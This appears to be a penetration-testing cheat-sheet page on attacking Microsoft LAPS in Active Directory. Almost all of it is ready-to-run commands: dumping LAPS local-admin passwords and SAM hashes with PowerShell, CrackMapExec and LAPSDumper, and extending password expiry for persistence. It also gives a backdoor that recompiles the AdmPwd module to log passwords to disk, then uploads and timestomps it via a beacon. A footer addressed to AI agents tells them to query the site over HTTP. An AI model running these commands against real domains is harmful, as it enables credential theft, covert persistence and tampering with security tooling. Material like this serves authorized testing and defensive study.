# LAPS

* <https://adsecurity.org/?p=1790>

## Enabled?

Check locally:

```
PS > gc "c:\program files\LAPS\CSE\Admpwd.dll"
PS > Get-FileHash "c:\program files\LAPS\CSE\Admpwd.dll"
PS > Get-AuthenticodeSignature "c:\program files\LAPS\CSE\Admpwd.dll"
```

Check in LDAP:

```
PV3 > Get-DomainObject "CN=ms-Mcs-AdmPwd,CN=Schema,CN=Configuration,DC=megacorp,DC=local"
PV3 > Get-DomainObject "CN=ms-Mcs-AdmPwdExpirationTime,CN=Schema,CN=Configuration,DC=megacorp,DC=local"
```

Extract SAM with CME and compare admins' hashes:

```
$ for ip in `cat smb.txt`; do cme smb $ip -u snovvcrash -p 'Passw0rd!' --sam 2>/dev/null | grep -av '(' | grep -ai -e admin -e админ; sleep 1; done
```

Grab from BloodHound dump:

```
$ cat 19700101000000_computers | jq '.data[].Properties | select(.enabled == true and .haslaps == false and .operatingsystem != null) | select(.distinguishedname | contains("Servers")) | select(.operatingsystem | contains("Windows")) | .name' -r > nolaps_servers.txt
```

## Get Passwords

### PowerShell

#### ActiveDirectory

Query LDAP for AD computer objects with their passwords and its expiration date:

```
PS > $laps = Get-ADComputer -Filter * -Properties ms-Mcs-AdmPwd,ms-Mcs-AdmPwdExpirationTime -Server DC01 | ? {$_.'ms-Mcs-AdmPwd'} | select Name,ms-Mcs-AdmPwd,@{label="ExpDate";Expression={([datetime]::FromFileTime([convert]::ToInt64($_.'ms-Mcs-AdmPwdExpirationTime')))}}
PS > $laps | select -First 10
```

Check the name of enabled local administrators on a remote machine:

```
PS > Get-CimInstance -ComputerName SRV01 -ClassName Win32_Group -Filter "Name='Administrators'" | Get-CimAssociatedInstance -Association Win32_GroupUser | ? {$_.Disabled -eq $false} | fl
```

Change LAPS password (just zero the expiration time attribute):

```
PS > Get-ADComputer PC01 -Properties ms-MCS-AdmPwdExpirationTime| % {Set-ADComputer -Identity $_ -Replace @{"ms-MCS-AdmPwdExpirationTime" = "0"}}
```

#### Get-LAPSPasswords

* <https://www.netspi.com/blog/technical/network-penetration-testing/running-laps-around-cleartext-passwords/>
* <https://github.com/kfosaaen/Get-LAPSPasswords>

```
PS > $cred = New-Object System.Management.Automation.PSCredential('snovvcrash', $(ConvertTo-SecureString 'Passw0rd!' -AsPlainText -Force))
PS > Get-LAPSPasswords -DomainController 10.10.13.37 -Credential $cred | fl
```

#### LAPSToolkit

* <https://www.pentestgeek.com/penetration-testing/another-lap-around-microsoft-laps>
* <https://github.com/leoloobeek/LAPSToolkit>

Enumerate LAPS groups and permissions:

```
PS > $lapsGroups = Find-LAPSDelegatedGroups
PS > $lapsRights = Find-AdmPwdExtendedRights
```

Get passwords:

```
PS > Get-LAPSComputers
```

### CrackMapExec

* <https://github.com/T3KX/Crackmapexec-LAPS>
* <https://github.com/byt3bl33d3r/CrackMapExec/blob/master/cme/modules/laps.py>

```
$ cme ldap <DC_IP> -u snovvcrash -p 'Passw0rd!' -M laps
```

### LAPSDumper

* <https://github.com/n00py/LAPSDumper>

```
$ python laps.py -d megacorp.local -u snovvcrash -p 'Passw0rd!'
$ python laps.py -d megacorp.local -l DC01.megacorp.local -u snovvcrash -p aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889
```

## Persistence

Increase the expiration time of a compromised computer object's `ms-mcs-admpwdexpirationtime` property value:

```
PV3 > Get-DomainObject -Identity SRV01 -Properties ms-mcs-admpwdexpirationtime
PV3 > Set-DomainObject -Identity SRV01 -Set @{"ms-mcs-admpwdexpirationtime"="<EPOCH>"}
```

## Backdoor

Recompile [admpwd](https://github.com/GreyCorbel/admpwd) having added some evil code [here](https://github.com/GreyCorbel/admpwd/blob/1461172b2002ce37e31c221f6532a8ce7de1a295/Main/AdmPwd.PS/Main.cs#L140):

```csharp
PasswordInfo pi = DirectoryUtils.GetPasswordInfo(dn);
var line = $"{pi.ComputerName} : {pi.Password}";
System.IO.File.AppendAllText(@"C:\Temp\LAPS.txt", line);
WriteObject(pi);
```

Replace the original `AdmPwd.PS.dll` assembly with a newly generated one and fix the timestamp:

```
beacon> cd C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AdmPwd.PS
beacon> upload AdmPwd.PS.dll
beacon> timestomp AdmPwd.PS.dll AdmPwd.PS.psd1
beacon> ls
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://ppn.snovvcra.sh/pentest/infrastructure/ad/laps.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
